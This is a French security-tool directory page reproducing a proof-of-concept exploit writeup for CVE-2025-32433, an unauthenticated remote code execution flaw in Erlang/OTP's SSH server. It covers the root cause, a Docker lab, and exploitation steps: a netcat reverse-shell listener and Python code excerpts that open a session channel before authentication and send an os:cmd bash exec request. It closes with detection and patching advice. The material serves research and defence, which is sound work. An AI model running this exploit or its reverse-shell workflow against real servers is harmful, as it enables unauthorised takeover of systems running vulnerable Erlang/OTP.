Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Erlang-OTP-PoC_CVE-2025-32433 — Exploit de preuve de concept pour CVE-2025-32433, une vulnérabilité de confusion de canal pré-authentification SSH Erlang/OTP, démontrant le contournement de l'authentification et l'exécution de code à distance avec un laboratoire Docker. | Kitploit
Outils/GitHubGitHub/antoniesoga/erlang-otp-poc_cve-2025-32433
Analyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationOutil d'Accès à Distance
GitHubantoniesoga/erlang-otp-poc_cve-2025-32433

Erlang-OTP-PoC_CVE-2025-32433

Exploit de preuve de concept pour CVE-2025-32433, une vulnérabilité de confusion de canal pré-authentification SSH Erlang/OTP, démontrant le contournement de l'authentification et l'exécution de code à distance avec un laboratoire Docker.

Voir le dépôt
217il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Confusion de canal SSH avant authentification Erlang/OTP

📺 Vidéo de preuve de concept

Description : Une démonstration de la vulnérabilité de confusion de canal SSH avant authentification dans Erlang/OTP.

Cliquez ici pour voir la démo complète sur YouTube

Résumé

De quoi s'agit-il dans cette POC ?

Cette preuve de concept démontre CVE-2025-32433, une vulnérabilité dans l'implémentation du serveur SSH Erlang/OTP qui permet à un attaquant d'ouvrir des canaux SSH et d'exécuter des commandes avant l'authentification.

En raison d'une mauvaise application des transitions d'état du protocole SSH, certains messages SSH (SSH_MSG_CHANNEL_OPEN et SSH_MSG_CHANNEL_REQUEST) sont acceptés avant que l'authentification de l'utilisateur ne soit terminée. Cela conduit à un contournement complet de l'authentification et à une exécution de commandes à distance dans la machine virtuelle Erlang.


Conditions affectées

Qu'est-ce qui doit être vulnérable pour que cela fonctionne ?

La vulnérabilité peut être déclenchée lorsque les conditions suivantes sont réunies :

  • Les versions Erlang/OTP affectées par cette vulnérabilité sont toutes les versions antérieures et y compris :
    • OTP-27.3.2
    • OTP-26.2.5.10
    • OTP-25.3.2.19
  • L'application Erlang ssh est activée
  • L'authentification par mot de passe est configurée
  • Le démon SSH est accessible à l'attaquant
  • Aucune information d'identification valide n'est requise

Il est important de noter que ce problème ne dépend pas de mots de passe faibles ou d'une mauvaise configuration, mais d'une gestion incorrecte de l'état du protocole.


Cause racine technique et flux d'exploitation

Comment la vulnérabilité se manifeste-t-elle et pourquoi est-elle exploitable ?

Le problème provient d'un défaut de confusion d'état dans le serveur SSH Erlang/OTP, où l'état d'authentification n'est pas strictement appliqué avant le traitement des messages liés aux canaux.

À un niveau élevé, l'exploitation se déroule comme suit :

  1. L'attaquant termine les phases d'échange de version et d'échange de clés SSH.
  2. Le serveur fait passer la connexion à un état de session active, sans imposer une authentification réussie de l'utilisateur.
  3. L'attaquant envoie une requête SSH_MSG_CHANNEL_OPEN pour un canal de session.
  4. Le serveur accepte incorrectement la demande de canal avant la fin de l'authentification.
  5. Une SSH_MSG_CHANNEL_REQUEST de type exec est envoyée sur le canal ouvert.
  6. Le sous-système SSH Erlang transmet la requête au gestionnaire de connexion.
  7. La charge utile fournie est exécutée via des primitives Erlang (par exemple, os:cmd/1) dans le contexte de la VM.

Ce comportement viole le modèle de protocole SSH défini dans RFC 4252/4254, où la création de canaux et les demandes ne doivent être autorisées qu'après une authentification réussie.

En bref :

  • L'état d'authentification est suivi mais pas appliqué
  • La gestion des canaux est conditionnée par l'état de session, pas par l'état d'authentification
  • Le processus ssh_connection traite les requêtes exec prématurément
  • Cela permet l'exécution de code à distance avant authentification

Il s'agit d'une vulnérabilité de logique et de gestion d'état, pas d'une faiblesse cryptographique.


Construction et déploiement

Les étapes suivantes construisent et déploient un environnement vulnérable autonome à l'aide de Docker. Le conteneur exécute un serveur SSH délibérément durci qui rejette toutes les informations d'identification, garantissant que toute exécution de commande réussie est le résultat d'un contournement de l'authentification.

git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .

build

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh

Une fois en cours d'exécution, le démon SSH sera exposé sur le port 2222 et prêt à être exploité à l'aide de la POC fournie.


Exploitation

Ce script exploite une faille dans le serveur SSH Erlang/OTP qui permet à certains messages de protocole SSH d'être traités avant l'authentification.

Le processus d'exploitation nécessite deux terminaux : l'un pour recevoir la connexion inverse, et l'autre pour lancer l'exploit.

  • Récepteur (Terminal 1) :

    nc -lvnp 4488
    
  • Exécution de l'exploit (Terminal 2) :

    python3 exploit.py
    

Parcours du script d'exploitation

  1. Usurpation de protocole

    s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
    s.sendall(pad(kex))
    

    Ces messages sont utilisés pour faire croire au serveur que la connexion provient d'un client SSH légitime. Ils font avancer l'état du protocole SSH suffisamment loin pour autoriser les messages liés aux canaux sans terminer l'authentification.

  2. Canal de session avant authentification

    s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
    

    Cette requête est utilisée pour ouvrir un canal de session avant l'authentification. Sur les serveurs SSH Erlang/OTP vulnérables, cela contourne les contrôles d'accès normaux et crée une session non autorisée.

  3. Demande d'exécution de commande

    erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
    exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
    

    Cette requête est utilisée pour déclencher l'exécution de commandes via le runtime Erlang. L'encapsulation de la charge utile dans la syntaxe Erlang garantit que la commande est exécutée par la VM Erlang plutôt que traitée comme une commande shell SSH standard.

Résultat

Si la cible est vulnérable, la commande fournie est exécutée sans authentification.

exploit

nc


Défense

La défense contre cette vulnérabilité repose sur une segmentation réseau stricte et une surveillance au niveau du protocole, car les journaux d'authentification standard peuvent ne pas enregistrer les tentatives de contournement (puisque l'authentification est ignorée).

  • Restriction réseau : Ne pas exposer les ports SSH Erlang (par défaut ou personnalisés) à l'internet public. Restreindre l'accès aux IP de confiance ou exiger un VPN/hôte de bastion.
  • Signatures IDS/IPS : Configurer les systèmes de détection d'intrusion pour alerter sur les sessions SSH où des paquets SSH_MSG_CHANNEL_OPEN (Type 90) sont envoyés immédiatement après l'échange de clés, sans paquet SSH_MSG_USERAUTH_SUCCESS (Type 52) précédent.
  • Surveillance d'exécution : Surveiller la VM Erlang pour détecter les appels inattendus à os:cmd ou le lancement de processus shell qui ne sont pas corrélés à une session utilisateur connectée avec succès dans les journaux d'application.

Atténuations

La seule remédiation complète consiste à corriger le runtime Erlang/OTP sous-jacent pour imposer des transitions d'état strictes.

1. Mettre à jour Erlang/OTP

Mettez à niveau le runtime Erlang/OTP immédiatement vers une version qui impose des vérifications d'authentification avant la création de canaux. Assurez-vous d'exécuter une version plus récente que celles listées dans la section "Conditions affectées".

Consultez les versions officielles Erlang/OTP sur GitHub pour les derniers correctifs de sécurité.

2. Solutions de contournement temporaires

Télécharger l’outil